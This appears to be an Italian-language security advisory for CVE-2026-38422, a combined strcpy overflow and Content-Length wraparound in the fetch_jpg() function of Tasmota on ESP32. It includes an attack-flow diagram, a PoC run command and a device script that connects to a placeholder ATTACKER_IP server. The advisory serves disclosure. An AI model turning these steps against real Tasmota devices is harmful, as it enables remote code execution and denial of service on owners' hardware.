
CVE-2026-38422 — Esecuzione remota di codice tramite buffer overflow combinati nella funzione fetch_jpg() di Tasmota (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
Gravità: Critica (CVSS 9.8)
Prodotto: Arendst Tasmota
Versione interessata: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Funzione: fetch_jpg()
Autore: Saidakbarxon Maxsudxonov
Divulgazione: Responsabile — segnalato a Tasmota prima della pubblicazione
La funzione fetch_jpg() nel driver scripter di Tasmota (xdrv_10_scripter.ino) contiene due vulnerabilità di corruzione della memoria che si combinano e che insieme consentono l'esecuzione di codice remoto su dispositivi basati su ESP32 che eseguono Tasmota <= 15.3.0.3:
strcpy() in un buffer fisso boundary[] di 40 byte — corrompe la memoria heap adiacente, inclusi i puntatori vtable di WiFiClient/HTTPClient (vedi anche CVE-2026-38426)uint16_t su Content-Length — alloca un buffer di dimensioni insufficienti causando la corruzione dello stato dello stream (vedi anche CVE-2026-38427)Se usate insieme in un'unica sessione di attacco, queste due primitive massimizzano la corruzione dell'heap e aumentano significativamente la probabilità di ottenere l'esecuzione di codice arbitrario.
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
Il server PoC:
fetchjp())Content-Length: 65537 (wraparound)Vedi CVE-2026-38422_poc.py per l'implementazione completa.
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
Il dispositivo deve eseguire uno script Tasmota che utilizza fetchjp(). L'attaccante controlla il server a cui il dispositivo si connette (oppure esegue un MITM su una connessione esistente).
Qualsiasi dispositivo Tasmota basato su ESP32 che esegue una versione <= 15.3.0.3 con supporto scripter abilitato e uno script che utilizza fetchjp() per connettersi a un server MJPEG esterno.